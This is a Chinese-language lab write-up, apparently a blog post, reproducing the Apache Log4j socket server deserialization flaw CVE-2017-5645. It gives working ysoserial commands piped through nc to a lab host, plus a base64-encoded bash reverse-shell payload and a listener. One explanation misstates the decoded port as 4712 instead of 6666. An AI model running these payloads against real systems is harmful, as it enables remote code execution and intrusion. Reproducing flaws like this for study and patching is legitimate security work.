Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

文章目录

  • [Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)](#Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645))
    • [1.1 漏洞描述](#1.1 漏洞描述)
    • [1.2 漏洞复现](#1.2 漏洞复现)
      • [1.2.1 环境启动](#1.2.1 环境启动)
      • [1.2.2 漏洞验证](#1.2.2 漏洞验证)
      • [1.2.3 漏洞利用](#1.2.3 漏洞利用)
    • [1.3 加固建议](#1.3 加固建议)

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

1.1 漏洞描述

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

说明 内容
漏洞编号 CVE-2017-5645
漏洞名称 Apache Log4j Server 反序列化命令执行漏洞
漏洞评级 高危
影响范围 Apache Log4j 2.8.2之前的2.x版本
漏洞描述 Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.2 漏洞复现

1.2.1 环境启动

1.2.2 漏洞验证

使用nmap工具扫描开放的端口

可以看到4712端口是正常开启的。

使用ysoserial生成payload,然后直接发送给192.168.188.185:4712端口即可。

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程"小工具链",在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

https://github.com/frohoff/ysoserial

下载后打包成jar文件进行使用。

执行命令

sh 复制代码
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.188.185 4712

执行命令进入容器

sh 复制代码
sudo docker exec -it [容器id] /bin/bash

执行命令

sh 复制代码
cd tmp

进入tmp文件夹,查看目录文件,可以看到testsuccess文件,可见touch /tmp/testsuccess执行成功。

1.2.3 漏洞利用

只需要将命令替换成反弹shell的命令,就能够成功弹回shell。

sh 复制代码
bash -i >& /dev/tcp/192.168.188.185/6666 0>&1

将构造的payload进行base64加密。

复制代码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx

kali开启监听

sh 复制代码
nc -lnvp 6666

再开启一个新的终端,输入如下内容。

sh 复制代码
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.188.185 4712

命令解析:

  • bash -c:这个选项告诉 Bash 执行后面的一系列命令。
  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。
  • {base64,-d}:这个命令使用 base64 工具进行 Base64 解码。
  • {bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

反弹成功

能够正确执行命令,shell反弹成功

1.3 加固建议

更新到最新版本

相关推荐
2401_8734794010 小时前
企业安全团队如何配合公安协查?IP查询在电子取证中的技术实践
tcp/ip·安全·网络安全·php
网安情报局12 小时前
如何选择合适的AI大模型:快快云安全AI大模型聚合平台全解析
人工智能·网络安全·ai大模型
DolphinScheduler社区13 小时前
DolphinScheduler 3.3.2 如何调用 DataX 3.0 + SeaTunnel 2.3.12?附 Demo演示!
java·spark·apache·海豚调度·大数据工作流调度
忡黑梨14 小时前
eNSP_从直连到BGP全网互通
c语言·网络·数据结构·python·算法·网络安全
其实防守也摸鱼14 小时前
带你了解与配置phpmyadmin
笔记·安全·网络安全·pdf·编辑器·工具·调试
菩提小狗15 小时前
每日安全情报报告 · 2026-04-27
网络安全·漏洞·cve·安全情报·每日安全
Chengbei1116 小时前
面向红队的 AI 赋能全场景流量分析仪 网页 / APP / 终端 / IoT 全域 HTTPS 抓包解密利器
人工智能·物联网·网络协议·web安全·网络安全·https·系统安全
菩提小狗17 小时前
每日安全情报报告 · 2026-04-29
网络安全·漏洞·cve·安全情报·每日安全
YaBingSec18 小时前
玄机网络安全靶场:Apache HTTPD 解析漏洞(CVE-2017-15715)WP
java·笔记·安全·web安全·php·apache
FORCECON119 小时前
力控船舶智能运营,机舱监控IEWS/能效管理IEES/网络安全IACS,软硬件一体化解决方案
网络安全·scada·船舶·能效管理·机舱监控